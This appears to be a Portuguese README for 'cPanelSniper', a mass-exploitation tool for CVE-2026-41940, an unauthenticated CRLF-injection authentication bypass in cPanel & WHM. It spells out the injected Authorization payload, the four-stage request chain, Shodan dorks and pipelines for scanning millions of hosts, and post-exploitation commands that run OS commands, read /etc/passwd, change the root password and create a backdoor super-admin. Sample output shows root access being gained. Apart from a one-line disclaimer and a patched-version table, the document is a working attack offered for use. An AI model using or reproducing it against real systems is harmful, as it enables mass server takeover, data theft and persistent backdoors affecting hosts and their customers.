
cPanelSniper ESTÁVEL - CVE-2026-41940 otimizado para 10M+ alvos
CVE-2026-41940 — Bypass de Autenticação do cPanel & WHM via Injeção CRLF em Arquivo de Sessão
Cadeia de exploração em 4 estágios · Shell WHM Interativo · VERDADEIRAMENTE ESTÁVEL para 10M+ alvos · Zero uso de memória · apenas stdlib
cPanelSniper é um framework de exploração focado em CVE-2026-41940, uma vulnerabilidade crítica de bypass de autenticação que afeta cPanel & WHM. A vulnerabilidade permite que atacantes remotos não autenticados obtenham acesso WHM de nível root injetando sequências CRLF no arquivo de sessão por meio do cabeçalho HTTP Authorization — sem nenhuma credencial válida.
Somente para testes de penetração autorizados e programas de bug bounty.
Esta versão é otimizada para escanear 10.000.000+ alvos com ZERO uso de memória.
--resumesubfinder, httpx, shodanA causa raiz está em Session.pm: a função saveSession() chama filter_sessiondata() depois de gravar o arquivo de sessão no disco. Isso significa que caracteres CRLF incorporados no valor do cabeçalho Authorization: Basic são gravados literalmente no arquivo de sessão, injetando campos controlados pelo atacante antes da sanitização ocorrer.
Fluxo normal:
POST /login/ → filter_sessiondata() → gravar sessão → verificação de auth
Fluxo vulnerável:
POST /login/ → gravar sessão (payload CRLF injetado) → filter_sessiondata() → verificação de auth lê arquivo envenenado
O valor Authorization: Basic decodifica para:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Esses campos são gravados diretamente no arquivo de sessão no disco. Quando lidos de volta, o cPanel trata a sessão como uma sessão root totalmente autenticada.
┌─────────────────────────────────────────────────────────────┐
│ Estágio 0 — Descoberta do Hostname Canônico │
│ GET /openid_connect/cpanelid → 307 → hostname real │
├─────────────────────────────────────────────────────────────┤
│ Estágio 1 — Criar Sessão Pré-Auth │
│ POST /login/?login_only=1 (credenciais erradas) │
│ ← 401 + cookie whostmgrsession │
├─────────────────────────────────────────────────────────────┤
│ Estágio 2 — Injeção CRLF │
│ GET / + Cookie: session + Authorization: Basic <payload> │
│ cpsrvd grava campos CRLF no arquivo de sessão │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ Estágio 3 — Propagar (gadget do_token_denied) │
│ GET /scripts2/listaccts │
│ Aciona flush raw→cache — campos injetados tornam-se ativos │
│ ← 401 Token negado (esperado) │
├─────────────────────────────────────────────────────────────┤
│ Estágio 4 — Verificar Acesso Root WHM │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = PWNED │
└─────────────────────────────────────────────────────────────┘
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help
Nenhuma instalação via pip necessária. Apenas stdlib Python 3.8+.
# Alvo único — apenas varredura
python3 cPanelSniper.py -u https://target.com:2087
# Alvo único — shell interativo após bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# Lista grande de alvos — 10M+ alvos (VERDADEIRAMENTE ESTÁVEL)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# Retomar varredura interrompida
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# Listar todas as contas cPanel no servidor
python3 cPanelSniper.py -u https://target.com:2087 --action list
# Executar comando do SO
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# Obter informações do servidor (hostname, carga, disco, host MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# Obter versão do cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version
# Alterar senha do root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# Shell WHM interativo
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → salvar em arquivo → escanear 10M+ alvos
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# Da lista de escopo - lidar com milhões de domínios
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# Resultados do Shodan - varredura massiva
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json
# Pipe via stdin - apenas para listas pequenas (<100K)
echo "https://target.com:2087" | python3 cPanelSniper.py
# Múltiplas fontes combinadas → varredura em larga escala
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 > all_targets.txt
python3 cPanelSniper.py -l all_targets.txt -t 50 -o results.json --resume
Para escanear 10M+ alvos:
Sempre salve em arquivo primeiro - Não use pipe direto para listas grandes
# BOM - funciona com 10M+ alvos
httpx ... > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# RUIM - vai travar com listas grandes
httpx ... | python3 cPanelSniper.py
Use contagem de threads apropriada
Ative a retomada automática para varreduras longas
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
Se interrompido, basta executar novamente com --resume
Monitore o progresso
Após um bypass bem-sucedido, a flag --action shell abre um prompt interativo:
════════════════════════════════════════════════════════════
WHM Shell — target.com
Versão: CVE-2026-41940 | Auth: bypass CRLF
Digite 'help' para comandos, 'exit' para sair
════════════════════════════════════════════════════════════
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
[Contas cPanel] target.com:2087 (47 usuários)
user01 domínio: example.com email: [email protected]
user02 domínio: shop.com email: [email protected]
...
[email protected] ▶ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[email protected] ▶ info
[Informações do Servidor] https://target.com:2087
hostname: srv01.target.com
carga: 0.72 / 0.66 / 0.69
versão: 11.130.0.6
[email protected] ▶ addadmin mitsec P@ss2026!
[ADMIN BACKDOOR CRIADO]
Alvo : https://target.com:2087
Usuário : mitsec
Senha : P@ss2026!
Perfil : super_admin
[email protected] ▶ exit
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--resume]
[-o OUTPUT] [--no-color] [--save-interval N]
Alvo:
-u, --url URL URL de alvo único (ex.: https://host:2087)
-l, --list LIST Arquivo com URLs (uma por linha)
--hostname HOSTNAME Substituir cabeçalho Host canônico (descoberto automaticamente)
Varredura:
-t, --threads N Threads concorrentes (padrão: 20)
--timeout N Tempo limite de requisição em segundos (padrão: 15)
--resume Retomar de varredura anterior (pular alvos processados)
Saída:
-o, --output FILE Salvar resultados em arquivo JSON
--no-color Desabilitar cores ANSI
--save-interval N Salvar resultados a cada N segundos (padrão: 60)
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
...
CVE-2026-41940 — Bypass de Auth do cPanel & WHM via Injeção CRLF
4 estágios: pré-auth → injeção CRLF → propagação → verificação → pós-exploração
In-The-Wild | CVSS 10.0 | Por Mitsec (@ynsmroztas)
Configuração:
Alvos : 1
Threads : 10
Timeout : 15s
Ação : list
14:46:22 [SCAN] Iniciando cadeia de exploração em 4 estágios... https://target.com:2087
14:46:23 [INFO] Hostname canônico descoberto: srv01.target.com
14:46:23 [STEP] Estágio 1/4 — Criando sessão pré-auth...
14:46:23 [ OK] Estágio1: sessão pré-auth = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] Estágio 2/4 — Injeção CRLF via cabeçalho Authorization...
14:46:24 [ OK] Estágio2: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] Estágio 3/4 — Disparando gadget do_token_denied (raw→cache)...
14:46:25 [ OK] Estágio3: HTTP 401 — gadget do_token_denied disparado
14:46:25 [STEP] Estágio 4/4 — Verificando acesso root WHM...
14:46:26 [PWND] CVE-2026-41940 CONFIRMADO — acesso root WHM!
14:46:26 [PWND] Token : /cpsess8493537756
14:46:26 [PWND] Versão : 11.130.0.6
14:46:26 [PWND] URL API : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] Executando ação pós-exploração: list
14:46:27 [ API] listaccts → HTTP 200
[Contas cPanel] target.com:2087 (47 contas)
client01 domínio: client01.com email: [email protected]
client02 domínio: client02.net email: [email protected]
...
══════════════════════════════════════════════════════════════════════
cPanelSniper — Varredura Concluída
Tempo: 5.8s · Alvos: 1
⚡ 1 ALVO(S) VULNERÁVEL(IS)
Alvo : https://target.com:2087
Versão : 11.130.0.6
Token : /cpsess8493537756
URL API : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════
O valor Authorization: Basic injetado (decodificado em base64) contém sequências CRLF que se tornam novas linhas no arquivo de sessão do cPanel:
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1
O leitor de sessão do cPanel analisa esses campos como campos legítimos de sessão, concedendo acesso root completo ao WHM.
A etapa crítica e frequentemente negligenciada: após a injeção CRLF (Estágio 2), os dados de sessão envenenados existem apenas no arquivo de sessão bruto. Uma requisição a /scripts2/listaccts aciona o manipulador interno do_token_denied, que descarrega os dados de sessão brutos no cache de sessão. Sem esse descarregamento, o Estágio 4 retornaria um 403.
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
^ ^
| +-- hash ob (removido)
+-- nome da sessão (usado para injeção)
O nome da sessão (antes de %2C) é extraído e usado como valor do cookie para requisições subsequentes.
Esta ferramenta destina-se somente a testes de segurança autorizados e programas de bug bounty. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade e não é responsável por qualquer uso indevido ou dano causado por esta ferramenta. Sempre obtenha autorização escrita adequada antes de testar.
Mitsec — @ynsmroztas
Feito com ❤️ por @ynsmroztas
| Problema | Versão Original | Versão Corrigida |
|---|
| Uso de Memória | Carrega todos os alvos na RAM | Transmite alvos linha por linha (0 memória) |
| 10M Alvos | OOM → Encerrado ❌ | Conclui com sucesso ✅ |
| Retomada | Não suportada | Flag --resume |
| Progresso | Sem ETA | ETA em tempo real + taxa + estatísticas |
| Resultados | Salvos apenas no final | Salvos a cada 60s (configurável) |
| Branch | Vulnerável | Corrigida |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
| Comando | Descrição |
|---|
id / whoami | Mostrar UID e hostname |
hostname | Obter hostname do servidor |
version | Informações da versão do cPanel |
info | Carga, disco, host MySQL, versão |
accounts | Listar todas as contas de usuário cPanel |
cat <path> | Ler conteúdo de arquivo |
ls [path] | Listar diretório |
exec <cmd> | Executar comando do SO |
addadmin <user> <pass> | Criar admin WHM backdoor |
passwd <pass> | Alterar senha do root |
api <endpoint> [k=v ...] | Chamada bruta à API JSON do WHM |
help | Mostrar todos os comandos |
exit | Sair do shell |